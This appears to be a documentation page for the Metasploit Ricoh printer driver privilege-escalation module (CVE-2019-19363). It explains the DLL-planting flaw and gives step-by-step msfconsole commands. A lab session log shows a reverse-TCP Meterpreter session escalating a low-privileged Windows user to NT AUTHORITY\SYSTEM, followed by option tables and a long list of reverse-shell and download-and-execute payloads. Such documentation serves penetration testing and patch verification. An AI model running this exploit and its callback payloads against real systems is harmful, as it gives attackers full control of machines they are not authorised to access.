Ricoh Driver Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/windows/local/ricoh_driver_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Ricoh Driver Privilege Escalation
Module: exploit/windows/local/ricoh_driver_privesc
Source code: modules/exploits/windows/local/ricoh_driver_privesc.rb
Disclosure date: 2020-01-22
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-19363

Various Ricoh printer drivers allow escalation of privileges on Windows systems. For vulnerable drivers, a low-privileged user can read/write files within the RICOH_DRV directory and its subdirectories. PrintIsolationHost.exe, a Windows process running as NT AUTHORITY\SYSTEM, loads driver-specific DLLs during the installation of a printer. A user can elevate to SYSTEM by writing a malicious DLL to the vulnerable driver directory and adding a new printer with a vulnerable driver. This module leverages the prnmngr.vbs script to add and delete printers. Multiple runs of this module may be required given successful exploitation is time-sensitive.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • service-resource-loss: Module may cause a resource (such as a file or data in a database) to be unavailable for the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/ricoh_driver_privesc
msf exploit(ricoh_driver_privesc) > show targets
    ... a list of targets ...
msf exploit(ricoh_driver_privesc) > set TARGET target-id
msf exploit(ricoh_driver_privesc) > show options
    ... show and set options ...
msf exploit(ricoh_driver_privesc) > set SESSION session-id
msf exploit(ricoh_driver_privesc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Various Ricoh printer drivers allow escalation of privileges on Windows systems.

For vulnerable drivers, a low-privileged user can read/write files within the RICOH_DRV directory and its subdirectories.

PrintIsolationHost.exe, a Windows process running as NT AUTHORITY\SYSTEM, loads driver-specific DLLs during the installation of a printer. A user can elevate to SYSTEM by writing a malicious DLL to the vulnerable driver directory and adding a new printer with a vulnerable driver.

Multiple runs of this module may be required given successful exploitation is time-sensitive.

Verification Steps


  1. Install a vulnerable Ricoh driver
  2. Start msfconsole
  3. Get a session with basic privileges
  4. Do: use exploit/windows/local/ricoh_driver_privesc
  5. Do: set SESSION <sess_no>
  6. Do: run
  7. You should get a shell running as SYSTEM.

Scenarios


Tested on Ricoh PCL6 Universal Driver v4.13

  msf5 > use multi/handler
  msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
  payload => windows/x64/meterpreter/reverse_tcp
  msf5 exploit(multi/handler) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf5 exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.37.1:4444
  [*] Sending stage (206403 bytes) to 192.168.37.199
  [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.199:49670) at 2020-02-06 12:47:59 -0600

  meterpreter > getuid
  Server username: DESKTOP-A97LIDN\ricoh-test
  meterpreter > sysinfo
  Computer        : DESKTOP-A97LIDN
  OS              : Windows 10 (10.0 Build 16299).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 2
  Meterpreter     : x64/windows
  meterpreter > background
  [*] Backgrounding session 1...
  msf5 exploit(multi/handler) > use ricoh_driver_privesc

  Matching Modules
  ================

     #  Name                                        Disclosure Date  Rank    Check  Description
     -  ----                                        ---------------  ----    -----  -----------
     0  exploit/windows/local/ricoh_driver_privesc  2020-01-22       normal  Yes    Ricoh Driver Privilege Escalation


  [*] Using exploit/windows/local/ricoh_driver_privesc
  msf5 exploit(windows/local/ricoh_driver_privesc) > set session 1
  session => 1
  msf5 exploit(windows/local/ricoh_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
  payload => windows/x64/meterpreter/reverse_tcp
  msf5 exploit(windows/local/ricoh_driver_privesc) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf5 exploit(windows/local/ricoh_driver_privesc) > check
  [*] The target appears to be vulnerable. Ricoh driver directory has full permissions
  msf5 exploit(windows/local/ricoh_driver_privesc) > run

  [*] Started reverse TCP handler on 192.168.37.1:4444
  [*] Adding printer JLFJCi...
  [*] Sending stage (206403 bytes) to 192.168.37.199
  [*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.199:49673) at 2020-02-06 12:48:40 -0600
  [*] Deleting printer JLFJCi
  [+] Deleted C:\Users\RICOH-~1\AppData\Local\Temp\GFHCkvh.bat
  [+] Deleted C:\Users\RICOH-~1\AppData\Local\Temp\headerfooter.dll

  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM
  meterpreter > sysinfo
  Computer        : DESKTOP-A97LIDN
  OS              : Windows 10 (10.0 Build 16299).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 2
  Meterpreter     : x64/windows

Go back to menu.

Msfconsole Usage


Here is how the windows/local/ricoh_driver_privesc exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/ricoh_driver_privesc

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > show info

       Name: Ricoh Driver Privilege Escalation
     Module: exploit/windows/local/ricoh_driver_privesc
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-01-22

Provided by:
  Alexander Pudwill
  Pentagrid AG
  Shelby Pace

Module side effects:
 artifacts-on-disk

Module stability:
 service-resource-loss

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Windows

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  Various Ricoh printer drivers allow escalation of privileges on 
  Windows systems. For vulnerable drivers, a low-privileged user can 
  read/write files within the `RICOH_DRV` directory and its 
  subdirectories. `PrintIsolationHost.exe`, a Windows process running 
  as NT AUTHORITY\SYSTEM, loads driver-specific DLLs during the 
  installation of a printer. A user can elevate to SYSTEM by writing a 
  malicious DLL to the vulnerable driver directory and adding a new 
  printer with a vulnerable driver. This module leverages the 
  `prnmngr.vbs` script to add and delete printers. Multiple runs of 
  this module may be required given successful exploitation is 
  time-sensitive.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-19363
  https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/

Module Options


This is a complete list of options available in the windows/local/ricoh_driver_privesc exploit:

msf6 exploit(windows/local/ricoh_driver_privesc) > show options

Module options (exploit/windows/local/ricoh_driver_privesc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows

Advanced Options


Here is a complete list of advanced options supported by the windows/local/ricoh_driver_privesc exploit:

msf6 exploit(windows/local/ricoh_driver_privesc) > show advanced

Module advanced options (exploit/windows/local/ricoh_driver_privesc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadBindPort                               no        Port to bind reverse tcp socket to on target system.
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/ricoh_driver_privesc module can exploit:

msf6 exploit(windows/local/ricoh_driver_privesc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/ricoh_driver_privesc exploit:

msf6 exploit(windows/local/ricoh_driver_privesc) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   6    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   7    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   8    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   9    payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   10   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   11   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   12   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   13   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   14   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   15   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   16   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   17   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   18   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   21   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   22   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   23   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   24   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   25   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   26   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   27   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   28   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   29   payload/windows/exec                                                         normal  No     Windows Execute Command
   30   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   31   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   32   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   33   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   34   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   35   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   36   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   37   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   38   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   39   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   40   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   41   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   42   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   43   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   44   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   45   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   46   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   47   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   48   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   49   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   50   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   51   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   52   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   53   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   55   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   56   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   57   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   58   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   59   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   60   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   61   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   62   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   63   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   64   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   65   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   66   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   67   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   68   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   69   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   70   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   71   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   72   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   73   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   74   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   75   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   76   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   77   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   78   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   79   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   80   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   81   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   82   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   83   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   84   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   85   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   86   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   87   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   88   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   89   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   90   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   91   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   92   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   93   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   94   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   95   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   96   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   97   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   98   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   99   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   100  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   101  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   102  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   103  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   104  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   105  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   106  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   107  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   108  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   109  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   110  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   111  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   112  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   113  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   114  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   115  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   116  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   117  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   118  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   119  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   120  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   121  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   122  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   123  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   124  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   125  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   126  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   127  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   128  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   129  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   130  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   131  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   132  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   133  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   134  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   135  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   136  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   137  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   138  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   139  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   140  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   141  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   142  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
